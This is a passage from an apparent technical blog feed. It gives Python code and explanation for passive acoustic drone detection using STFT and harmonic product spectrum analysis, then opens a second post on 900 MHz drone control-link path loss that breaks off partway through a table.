    <span class="k">for</span> <span class="n">h</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">n_harmonics</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
        <span class="c1"># Downsample spectrum by factor h
</span>        <span class="n">downsampled</span> <span class="o">=</span> <span class="n">spectrum</span><span class="p">[::</span><span class="n">h</span><span class="p">][:</span><span class="nf">len</span><span class="p">(</span><span class="n">hps</span><span class="p">)</span> <span class="o">//</span> <span class="n">h</span><span class="p">]</span>
        <span class="n">hps</span><span class="p">[:</span><span class="nf">len</span><span class="p">(</span><span class="n">downsampled</span><span class="p">)]</span> <span class="o">*=</span> <span class="n">downsampled</span>
    <span class="k">return</span> <span class="n">hps</span>
</code></pre></div></div>

<p>Applied to each STFT frame, HPS produces a time series of estimated fundamental frequencies. A drone in hover shows a stable HPS peak at its BPF; a drone accelerating shows a smoothly rising HPS peak.</p>

<h3 id="5-complete-detection-pipeline">5. Complete detection pipeline</h3>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">import</span> <span class="n">sounddevice</span> <span class="k">as</span> <span class="n">sd</span>
<span class="kn">from</span> <span class="n">scipy.signal</span> <span class="kn">import</span> <span class="n">stft</span><span class="p">,</span> <span class="n">blackmanharris</span>
<span class="kn">import</span> <span class="n">collections</span>

<span class="n">FS</span>          <span class="o">=</span> <span class="mi">44100</span>
<span class="n">NPERSEG</span>     <span class="o">=</span> <span class="mi">8192</span>
<span class="n">NOVERLAP</span>    <span class="o">=</span> <span class="mi">7168</span>
<span class="n">BPF_MIN</span>     <span class="o">=</span> <span class="mi">80</span>    <span class="c1"># Hz — minimum expected BPF (large slow drone)
</span><span class="n">BPF_MAX</span>     <span class="o">=</span> <span class="mi">1200</span>  <span class="c1"># Hz — maximum expected BPF (small fast quad at full throttle)
</span><span class="n">SNR_THRESH</span>  <span class="o">=</span> <span class="mf">10.0</span>  <span class="c1"># dB — HPS peak must exceed noise floor by this amount
</span><span class="n">N_HARMONICS</span> <span class="o">=</span> <span class="mi">4</span>
<span class="n">HISTORY_LEN</span> <span class="o">=</span> <span class="mi">20</span>    <span class="c1"># frames — require consistent BPF over this many frames
</span>

<span class="k">def</span> <span class="nf">live_drone_detector</span><span class="p">(</span><span class="n">duration</span><span class="p">:</span> <span class="nb">float</span> <span class="o">=</span> <span class="mf">30.0</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Live acoustic drone detector. Records from default microphone and prints
    detections in real time.
    </span><span class="sh">"""</span>
    <span class="n">hop</span>    <span class="o">=</span> <span class="n">NPERSEG</span> <span class="o">-</span> <span class="n">NOVERLAP</span>
    <span class="n">n_samp</span> <span class="o">=</span> <span class="nf">int</span><span class="p">(</span><span class="n">FS</span> <span class="o">*</span> <span class="n">duration</span><span class="p">)</span>
    <span class="nb">buffer</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">zeros</span><span class="p">(</span><span class="n">NPERSEG</span><span class="p">)</span>  <span class="c1"># sliding window
</span>
    <span class="n">freqs</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="nf">rfftfreq</span><span class="p">(</span><span class="n">NPERSEG</span><span class="p">,</span> <span class="mf">1.0</span> <span class="o">/</span> <span class="n">FS</span><span class="p">)</span>
    <span class="n">bpf_mask</span> <span class="o">=</span> <span class="p">(</span><span class="n">freqs</span> <span class="o">&gt;=</span> <span class="n">BPF_MIN</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">freqs</span> <span class="o">&lt;=</span> <span class="n">BPF_MAX</span><span class="p">)</span>
    <span class="n">bpf_freqs</span> <span class="o">=</span> <span class="n">freqs</span><span class="p">[</span><span class="n">bpf_mask</span><span class="p">]</span>

    <span class="n">bpf_history</span> <span class="o">=</span> <span class="n">collections</span><span class="p">.</span><span class="nf">deque</span><span class="p">(</span><span class="n">maxlen</span><span class="o">=</span><span class="n">HISTORY_LEN</span><span class="p">)</span>
    <span class="n">window</span>      <span class="o">=</span> <span class="nf">blackmanharris</span><span class="p">(</span><span class="n">NPERSEG</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">process_frame</span><span class="p">(</span><span class="n">frame</span><span class="p">:</span> <span class="n">np</span><span class="p">.</span><span class="n">ndarray</span><span class="p">):</span>
        <span class="sh">"""</span><span class="s">Process one STFT frame.</span><span class="sh">"""</span>
        <span class="n">windowed</span> <span class="o">=</span> <span class="n">frame</span> <span class="o">*</span> <span class="n">window</span>
        <span class="n">spectrum</span> <span class="o">=</span> <span class="mi">20</span> <span class="o">*</span> <span class="n">np</span><span class="p">.</span><span class="nf">log10</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="nf">abs</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="n">fft</span><span class="p">.</span><span class="nf">rfft</span><span class="p">(</span><span class="n">windowed</span><span class="p">))</span> <span class="o">+</span> <span class="mf">1e-12</span><span class="p">)</span>

        <span class="c1"># Noise floor estimate (mean of lowest 30% of bins in BPF range)
</span>        <span class="n">bpf_spec</span>  <span class="o">=</span> <span class="n">spectrum</span><span class="p">[</span><span class="n">bpf_mask</span><span class="p">]</span>
        <span class="n">noise_est</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">percentile</span><span class="p">(</span><span class="n">bpf_spec</span><span class="p">,</span> <span class="mi">30</span><span class="p">)</span>
        <span class="n">excess</span>    <span class="o">=</span> <span class="n">bpf_spec</span> <span class="o">-</span> <span class="n">noise_est</span>  <span class="c1"># excess power above noise
</span>
        <span class="c1"># Harmonic product spectrum in BPF range
</span>        <span class="n">hps</span> <span class="o">=</span> <span class="n">excess</span><span class="p">.</span><span class="nf">copy</span><span class="p">()</span>
        <span class="k">for</span> <span class="n">h</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">N_HARMONICS</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
            <span class="n">ds</span> <span class="o">=</span> <span class="n">excess</span><span class="p">[::</span><span class="n">h</span><span class="p">]</span>
            <span class="n">hps</span><span class="p">[:</span><span class="nf">len</span><span class="p">(</span><span class="n">ds</span><span class="p">)]</span> <span class="o">+=</span> <span class="n">ds</span>  <span class="c1"># add in log domain = multiply in linear
</span>
        <span class="c1"># Find peak in HPS
</span>        <span class="n">peak_idx</span>  <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">argmax</span><span class="p">(</span><span class="n">hps</span><span class="p">)</span>
        <span class="n">peak_val</span>  <span class="o">=</span> <span class="n">hps</span><span class="p">[</span><span class="n">peak_idx</span><span class="p">]</span>
        <span class="n">peak_freq</span> <span class="o">=</span> <span class="n">bpf_freqs</span><span class="p">[</span><span class="n">peak_idx</span><span class="p">]</span>

        <span class="k">return</span> <span class="n">peak_freq</span><span class="p">,</span> <span class="n">peak_val</span>

    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">Monitoring for </span><span class="si">{</span><span class="n">duration</span><span class="si">:</span><span class="p">.</span><span class="mi">0</span><span class="n">f</span><span class="si">}</span><span class="s">s. BPF range: </span><span class="si">{</span><span class="n">BPF_MIN</span><span class="si">}</span><span class="s">–</span><span class="si">{</span><span class="n">BPF_MAX</span><span class="si">}</span><span class="s"> Hz.</span><span class="sh">"</span><span class="p">)</span>
    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">Waiting for consistent drone signature...</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">with</span> <span class="n">sd</span><span class="p">.</span><span class="nc">InputStream</span><span class="p">(</span><span class="n">samplerate</span><span class="o">=</span><span class="n">FS</span><span class="p">,</span> <span class="n">channels</span><span class="o">=</span><span class="mi">1</span><span class="p">,</span> <span class="n">dtype</span><span class="o">=</span><span class="sh">'</span><span class="s">float32</span><span class="sh">'</span><span class="p">)</span> <span class="k">as</span> <span class="n">stream</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="n">n_samp</span> <span class="o">//</span> <span class="n">hop</span><span class="p">):</span>
            <span class="n">chunk</span><span class="p">,</span> <span class="n">_</span> <span class="o">=</span> <span class="n">stream</span><span class="p">.</span><span class="nf">read</span><span class="p">(</span><span class="n">hop</span><span class="p">)</span>
            <span class="n">chunk</span>     <span class="o">=</span> <span class="n">chunk</span><span class="p">[:,</span> <span class="mi">0</span><span class="p">]</span>

            <span class="c1"># Slide buffer
</span>            <span class="nb">buffer</span>    <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">roll</span><span class="p">(</span><span class="nb">buffer</span><span class="p">,</span> <span class="o">-</span><span class="n">hop</span><span class="p">)</span>
            <span class="nb">buffer</span><span class="p">[</span><span class="o">-</span><span class="n">hop</span><span class="p">:]</span> <span class="o">=</span> <span class="n">chunk</span>

            <span class="n">freq</span><span class="p">,</span> <span class="n">snr</span> <span class="o">=</span> <span class="nf">process_frame</span><span class="p">(</span><span class="nb">buffer</span><span class="p">)</span>
            <span class="n">bpf_history</span><span class="p">.</span><span class="nf">append</span><span class="p">((</span><span class="n">freq</span><span class="p">,</span> <span class="n">snr</span><span class="p">))</span>

            <span class="c1"># Detection: consistent BPF and sufficient SNR
</span>            <span class="k">if</span> <span class="nf">len</span><span class="p">(</span><span class="n">bpf_history</span><span class="p">)</span> <span class="o">==</span> <span class="n">HISTORY_LEN</span><span class="p">:</span>
                <span class="n">freqs_h</span> <span class="o">=</span> <span class="p">[</span><span class="n">x</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">bpf_history</span><span class="p">]</span>
                <span class="n">snrs_h</span>  <span class="o">=</span> <span class="p">[</span><span class="n">x</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="n">bpf_history</span><span class="p">]</span>
                <span class="n">freq_std</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">std</span><span class="p">(</span><span class="n">freqs_h</span><span class="p">)</span>
                <span class="n">mean_snr</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">mean</span><span class="p">(</span><span class="n">snrs_h</span><span class="p">)</span>

                <span class="k">if</span> <span class="n">mean_snr</span> <span class="o">&gt;</span> <span class="n">SNR_THRESH</span> <span class="ow">and</span> <span class="n">freq_std</span> <span class="o">&lt;</span> <span class="mf">15.0</span><span class="p">:</span>
                    <span class="n">mean_freq</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">mean</span><span class="p">(</span><span class="n">freqs_h</span><span class="p">)</span>
                    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[DETECT] BPF = </span><span class="si">{</span><span class="n">mean_freq</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> Hz  </span><span class="sh">"</span>
                          <span class="sa">f</span><span class="sh">"</span><span class="s">SNR = </span><span class="si">{</span><span class="n">mean_snr</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> dB  </span><span class="sh">"</span>
                          <span class="sa">f</span><span class="sh">"</span><span class="s">stability = ±</span><span class="si">{</span><span class="n">freq_std</span><span class="si">:</span><span class="p">.</span><span class="mi">1</span><span class="n">f</span><span class="si">}</span><span class="s"> Hz</span><span class="sh">"</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
    <span class="nf">live_drone_detector</span><span class="p">(</span><span class="n">duration</span><span class="o">=</span><span class="mf">60.0</span><span class="p">)</span>
</code></pre></div></div>

<p>The detection logic requires both signal strength (<code class="language-plaintext highlighter-rouge">mean_snr &gt; SNR_THRESH</code>) and <strong>frequency stability</strong> (<code class="language-plaintext highlighter-rouge">freq_std &lt; 15 Hz</code>). Wind gusts and passing vehicles can produce brief bursts of energy in the BPF range that trigger false alarms; requiring the estimated BPF to be consistent over 20 consecutive frames (≈ 460 ms) eliminates most transients.</p>

<hr />

<h2 id="spectrogram-visualisation-and-interpretation">Spectrogram visualisation and interpretation</h2>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">librosa</span>
<span class="kn">import</span> <span class="n">librosa.display</span>
<span class="kn">import</span> <span class="n">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="k">def</span> <span class="nf">plot_drone_spectrogram</span><span class="p">(</span><span class="n">audio_file</span><span class="p">:</span> <span class="nb">str</span><span class="p">):</span>
    <span class="sh">"""</span><span class="s">
    Plot a drone audio spectrogram with BPF annotation.
    </span><span class="sh">"""</span>
    <span class="n">y</span><span class="p">,</span> <span class="n">sr</span> <span class="o">=</span> <span class="n">librosa</span><span class="p">.</span><span class="nf">load</span><span class="p">(</span><span class="n">audio_file</span><span class="p">,</span> <span class="n">sr</span><span class="o">=</span><span class="mi">44100</span><span class="p">,</span> <span class="n">mono</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>

    <span class="c1"># STFT with Blackman-Harris window
</span>    <span class="n">D</span>  <span class="o">=</span> <span class="n">librosa</span><span class="p">.</span><span class="nf">stft</span><span class="p">(</span><span class="n">y</span><span class="p">,</span> <span class="n">n_fft</span><span class="o">=</span><span class="mi">8192</span><span class="p">,</span> <span class="n">hop_length</span><span class="o">=</span><span class="mi">1024</span><span class="p">,</span>
                      <span class="n">window</span><span class="o">=</span><span class="sh">'</span><span class="s">blackmanharris</span><span class="sh">'</span><span class="p">,</span> <span class="n">center</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">DB</span> <span class="o">=</span> <span class="n">librosa</span><span class="p">.</span><span class="nf">amplitude_to_db</span><span class="p">(</span><span class="n">np</span><span class="p">.</span><span class="nf">abs</span><span class="p">(</span><span class="n">D</span><span class="p">),</span> <span class="n">ref</span><span class="o">=</span><span class="n">np</span><span class="p">.</span><span class="nb">max</span><span class="p">)</span>

    <span class="n">fig</span><span class="p">,</span> <span class="n">axes</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="nf">subplots</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">14</span><span class="p">,</span> <span class="mi">8</span><span class="p">),</span> <span class="n">height_ratios</span><span class="o">=</span><span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span>

    <span class="c1"># Spectrogram (0–2000 Hz)
</span>    <span class="n">librosa</span><span class="p">.</span><span class="n">display</span><span class="p">.</span><span class="nf">specshow</span><span class="p">(</span>
        <span class="n">DB</span><span class="p">,</span> <span class="n">sr</span><span class="o">=</span><span class="n">sr</span><span class="p">,</span> <span class="n">hop_length</span><span class="o">=</span><span class="mi">1024</span><span class="p">,</span> <span class="n">x_axis</span><span class="o">=</span><span class="sh">'</span><span class="s">time</span><span class="sh">'</span><span class="p">,</span> <span class="n">y_axis</span><span class="o">=</span><span class="sh">'</span><span class="s">hz</span><span class="sh">'</span><span class="p">,</span>
        <span class="n">fmax</span><span class="o">=</span><span class="mi">2000</span><span class="p">,</span> <span class="n">cmap</span><span class="o">=</span><span class="sh">'</span><span class="s">inferno</span><span class="sh">'</span><span class="p">,</span> <span class="n">ax</span><span class="o">=</span><span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span>
    <span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">set_title</span><span class="p">(</span><span class="sh">'</span><span class="s">Drone acoustic spectrogram — Blackman-Harris window, Δf = 5.4 Hz</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">set_ylabel</span><span class="p">(</span><span class="sh">'</span><span class="s">Frequency (Hz)</span><span class="sh">'</span><span class="p">)</span>

    <span class="c1"># Mean spectrum (time-averaged power)
</span>    <span class="n">mean_spectrum</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="nf">mean</span><span class="p">(</span><span class="n">DB</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span>
    <span class="n">freqs_axis</span>    <span class="o">=</span> <span class="n">librosa</span><span class="p">.</span><span class="nf">fft_frequencies</span><span class="p">(</span><span class="n">sr</span><span class="o">=</span><span class="n">sr</span><span class="p">,</span> <span class="n">n_fft</span><span class="o">=</span><span class="mi">8192</span><span class="p">)</span>
    <span class="n">mask_2k</span>       <span class="o">=</span> <span class="n">freqs_axis</span> <span class="o">&lt;=</span> <span class="mi">2000</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">plot</span><span class="p">(</span><span class="n">freqs_axis</span><span class="p">[</span><span class="n">mask_2k</span><span class="p">],</span> <span class="n">mean_spectrum</span><span class="p">[</span><span class="n">mask_2k</span><span class="p">],</span> <span class="n">color</span><span class="o">=</span><span class="sh">'</span><span class="s">#00ff88</span><span class="sh">'</span><span class="p">,</span> <span class="n">linewidth</span><span class="o">=</span><span class="mf">0.8</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">set_xlabel</span><span class="p">(</span><span class="sh">'</span><span class="s">Frequency (Hz)</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">set_ylabel</span><span class="p">(</span><span class="sh">'</span><span class="s">Mean power (dBFS)</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">set_xlim</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">2000</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">grid</span><span class="p">(</span><span class="bp">True</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mf">0.2</span><span class="p">)</span>

    <span class="c1"># Annotate harmonics if BPF is known
</span>    <span class="n">bpf_example</span> <span class="o">=</span> <span class="mi">325</span>  <span class="c1"># Hz — example for DJI Mini 3 Pro at hover
</span>    <span class="k">for</span> <span class="n">h</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">6</span><span class="p">):</span>
        <span class="n">f</span> <span class="o">=</span> <span class="n">bpf_example</span> <span class="o">*</span> <span class="n">h</span>
        <span class="k">if</span> <span class="n">f</span> <span class="o">&lt;=</span> <span class="mi">2000</span><span class="p">:</span>
            <span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="nf">axhline</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="sh">'</span><span class="s">cyan</span><span class="sh">'</span><span class="p">,</span> <span class="n">linewidth</span><span class="o">=</span><span class="mf">0.5</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mf">0.6</span><span class="p">)</span>
            <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">axvline</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="n">color</span><span class="o">=</span><span class="sh">'</span><span class="s">cyan</span><span class="sh">'</span><span class="p">,</span> <span class="n">linewidth</span><span class="o">=</span><span class="mf">0.5</span><span class="p">,</span> <span class="n">alpha</span><span class="o">=</span><span class="mf">0.6</span><span class="p">,</span>
                           <span class="n">label</span><span class="o">=</span><span class="sa">f</span><span class="sh">'</span><span class="s">BPF×</span><span class="si">{</span><span class="n">h</span><span class="si">}</span><span class="s"> = </span><span class="si">{</span><span class="n">f</span><span class="si">}</span><span class="s"> Hz</span><span class="sh">'</span> <span class="k">if</span> <span class="n">h</span> <span class="o">==</span> <span class="mi">1</span> <span class="k">else</span> <span class="sa">f</span><span class="sh">'</span><span class="s">×</span><span class="si">{</span><span class="n">h</span><span class="si">}</span><span class="sh">'</span><span class="p">)</span>

    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="nf">legend</span><span class="p">(</span><span class="n">fontsize</span><span class="o">=</span><span class="mi">8</span><span class="p">,</span> <span class="n">loc</span><span class="o">=</span><span class="sh">'</span><span class="s">upper right</span><span class="sh">'</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="nf">tight_layout</span><span class="p">()</span>
    <span class="n">plt</span><span class="p">.</span><span class="nf">savefig</span><span class="p">(</span><span class="sh">'</span><span class="s">drone_spectrogram.png</span><span class="sh">'</span><span class="p">,</span> <span class="n">dpi</span><span class="o">=</span><span class="mi">150</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="nf">show</span><span class="p">()</span>
</code></pre></div></div>

<p><strong>What to look for in a drone spectrogram:</strong></p>

<ul>
  <li><strong>Horizontal lines at regular frequency intervals</strong>: the BPF harmonic series. If the drone is hovering stably, these are perfectly horizontal (constant frequency). In a quiet environment, the first 3–4 harmonics are typically visible above the noise floor.</li>
  <li><strong>Frequency modulation during manoeuvres</strong>: the harmonic lines sweep upward (acceleration) and downward (deceleration). The slope of the sweep reflects the rate of RPM change.</li>
  <li><strong>Multiple harmonic series at slightly different frequencies</strong>: rotors running at slightly different RPM produce two sets of harmonic lines, spaced a few Hz apart. The beat frequency between them (the difference) appears as a slow amplitude modulation at the BPF rate — audible as the characteristic pulsing sound of a multi-rotor drone.</li>
  <li><strong>Broadband noise floor elevation</strong>: drones elevate the broadband noise floor across 200 Hz–5 kHz above the ambient, even when individual tonal harmonics are not visible. This broadband elevation is a secondary indicator useful at longer range where tonal structure is masked.</li>
</ul>

<hr />

<h2 id="limits-of-acoustic-detection">Limits of acoustic detection</h2>

<p><strong>Wind noise</strong> is the primary practical constraint. The Davenport wind spectrum describes wind turbulence noise, and for an unshielded microphone at wind speeds above 3 m/s (Beaufort 2), wind noise at frequencies below 500 Hz exceeds 50 dBAZ and rises at −6 dB/octave. This masks the lowest BPF harmonics of most drones (which fall in the 100–500 Hz range) completely. High-pass filtering above 500 Hz preserves only the upper harmonics where the drone’s energy is weaker against the broadband floor.</p>

<p>Wind screens (spherical foam baffles) reduce wind noise by 10–20 dB at low frequencies without affecting the drone’s acoustic signature, extending detection range proportionally. Multiple microphones spaced several metres apart with coherence-based wind noise rejection (wind noise is spatially incoherent; drone tones are coherent across microphone pairs at the drone’s wavelength) can provide an additional 10–15 dB of improvement.</p>

<p><strong>Background noise</strong> from traffic, HVAC systems, and other machinery produces tonal components that can mimic drone BPF signatures. A diesel vehicle at idle (combustion frequency around 12 Hz × number of cylinders) can produce harmonics extending into the 100–400 Hz range. Distinguishing these from drone signatures requires either knowledge of the background noise spectrum (baseline subtraction) or temporal consistency analysis — a vehicle’s engine harmonics shift with load in a pattern different from a drone’s rotor BPF under autopilot control.</p>

<p><strong>Rain</strong> produces broadband noise across the full audio spectrum and limits detection range to a few metres for all but the loudest drones.</p>

<hr />

<h2 id="comparison-with-rf-detection">Comparison with RF detection</h2>

<p>Acoustic and RF detection complement each other:</p>

<table>
  <thead>
    <tr>
      <th>Characteristic</th>
      <th>RF detection (2.4/5.8 GHz)</th>
      <th>Acoustic detection</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>Range</td>
      <td>0.5–15 km (link budget limited)</td>
      <td>10–400m (SNR limited)</td>
    </tr>
    <tr>
      <td>Works indoors</td>
      <td>Partially</td>
      <td>Partially (reverb degrades)</td>
    </tr>
    <tr>
      <td>Weather-independent</td>
      <td>Yes</td>
      <td>No (wind, rain degrade)</td>
    </tr>
    <tr>
      <td>Works for unpowered links</td>
      <td>No</td>
      <td>Yes (coasting/gliding)</td>
    </tr>
    <tr>
      <td>Works without radio</td>
      <td>No</td>
      <td>Yes (purely mechanical)</td>
    </tr>
    <tr>
      <td>Identifies drone model</td>
      <td>Via DroneID (DJI only)</td>
      <td>Via BPF (approximately)</td>
    </tr>
    <tr>
      <td>False alarm sources</td>
      <td>Other RF devices</td>
      <td>Wind, traffic, aircraft</td>
    </tr>
    <tr>
      <td>Processing complexity</td>
      <td>Medium (FHSS decode)</td>
      <td>Low (FFT, HPS)</td>
    </tr>
  </tbody>
</table>

<p>The two modalities are most valuable in combination. An RF detection on 2.4 GHz (from Remote ID or control link) provides range and direction via signal-strength triangulation; an acoustic confirmation at close range verifies the object is a drone rather than a source of RF interference. At ranges below ~200m where acoustic SNR is adequate, acoustic detection provides independent confirmation without requiring the drone to be transmitting.</p>

<p>The signal processing described here — STFT with a Blackman-Harris window, per-frequency noise floor normalisation, harmonic product spectrum for BPF estimation, and stability-based detection logic — is sufficient for reliable detection of consumer multirotor drones at ranges up to ~100m in typical outdoor conditions with a standard microphone, extending to ~300m in calm conditions with a directional microphone and wind screen.</p>

<p>Beyond that range, the acoustic SNR falls below reliable detection thresholds, and RF monitoring becomes the primary method.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="sigint" /><category term="acoustic-detection" /><category term="drone" /><category term="signal-processing" /><category term="FFT" /><category term="STFT" /><category term="spectrogram" /><category term="blade-pass-frequency" /><category term="scipy" /><category term="Python" /><category term="DSP" /><summary type="html"><![CDATA[A treatment of multirotor acoustic signatures and the signal processing chain for passive acoustic drone detection — blade pass frequency physics, window function selection, short-time Fourier transform, spectrogram analysis, SNR versus range modelling, and a working Python implementation.]]></summary></entry><entry><title type="html">RF propagation characteristics of 900 MHz drone control links: path loss, Fresnel zones, and FHSS passive monitoring</title><link href="https://yumas.hankouri.com/posts/2025/04/10/900mhz-fpv-rf-propagation/" rel="alternate" type="text/html" title="RF propagation characteristics of 900 MHz drone control links: path loss, Fresnel zones, and FHSS passive monitoring" /><published>2025-04-10T00:00:00+00:00</published><updated>2025-04-10T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2025/04/10/900mhz-fpv-rf-propagation</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2025/04/10/900mhz-fpv-rf-propagation/"><![CDATA[<div class="layman-summary"><p>
900 MHz FPV and LoRa links behave differently from 2.4 GHz — better range, more ground penetration, different multipath. This post works through the propagation physics with actual numbers, and what it means for link budget when you're flying at low altitude.
</p></div>

<p>The 900 MHz band — 863–870 MHz in Europe, 902–928 MHz in North America — carries most of the long-range drone control links in current use. TBS Crossfire, ExpressLRS at 868/915 MHz, FrSky R9, and several proprietary systems all operate here, as does the 868 MHz LoRa telemetry used by ArduPilot/PX4 open-source autopilots. The propagation behaviour at these frequencies is meaningfully different from 2.4 GHz and 5.8 GHz, and understanding the differences explains both why these bands were chosen for long-range control and what a passive receiver can realistically expect to see.</p>

<hr />

<h2 id="free-space-path-loss--the-900-mhz-advantage">Free-space path loss — the 900 MHz advantage</h2>

<p>At the same transmit power and antenna gain, a lower-frequency signal experiences less free-space path loss and achieves greater range. The Friis free-space path loss formula:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>FSPL (dB) = 20·log₁₀(d) + 20·log₁₀(f) + 20·log₁₀(4π/c)
           = 20·log₁₀(d) + 20·log₁₀(f) − 147.55 dB
</code></pre></div></div>

<p>Comparing 868 MHz to 2.4 GHz and 5.8 GHz at the same distance:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Δ FSPL (868 MHz vs 2.4 GHz) = 20·log₁₀(2400/868) = +8.8 dB
Δ FSPL (868 MHz vs 5.8 GHz) = 20·log₁₀(5800/868) = +16.5 dB
</code></pre></div></div>

<p>A 868 MHz link enjoys 8.8 dB less path loss than a 2.4 GHz link at the same distance, and 16.5 dB less than 5.8 GHz. In terms of range at the same power and sensitivity:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Range ratio = 10^(Δ dB / 20)
868 vs 2.4 GHz: 10^(8.8/20) = 2.75× greater range
868 vs 5.8 GHz: 10^(16.5/20) = 6.68× greater range
</code></pre></div></div>

<p>This is the physics behind why TBS Crossfire at 868 MHz achieves 10–40 km control range while a 2.4 GHz link is typically limited to 5–15 km, and 5.8 GHz video links are practically limited to 2–5 km — all at comparable power levels.</p>

<p>Tabulated FSPL at key frequencies:</p>

<table>
  <thead>
    <tr>
      <th>Distance</th>
      <th>868 MHz</th>
      <th>915 MHz</th>
      <th>2.4 GHz</th>
      <th>5.8 GHz</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>100 m</td>
      <td>71.2 dB</td>
      <td>71.7 dB</td>
      <td>80.1 dB</td>
      <td>87.7 dB</td>
    </tr>
    <tr>
      <td>500 m</td>
      <td>85.4 dB</td>
      <td>85.9 dB</td>
      <td>94.1 dB</td>
      <td>101.7 dB</td>
    </tr>
    <tr>
      <td>1 km</td>
      <td>91.4 dB</td>
      <td>91.9 dB</td>
      <td>100.1 dB</td>
      <td>107.7 dB</td>
    </tr>
    <tr>
      <td>5 km</td>
      <td>105.2 dB</td>
      <td>105.7 dB</td>
      <td>114.0 dB</td>
      <td>121.5 dB</td>
    </tr>
    <tr>
      <td>10 km</td>
      <td>111.2 dB</td>
      <td>111.7 dB</td>
      <td>120.0 dB</td>
      <td>127.5 dB</td>
    </tr>
    <tr>
      <td>40 km</td>
      <td>123.2 dB</td>
      <td>123.7 dB</td>
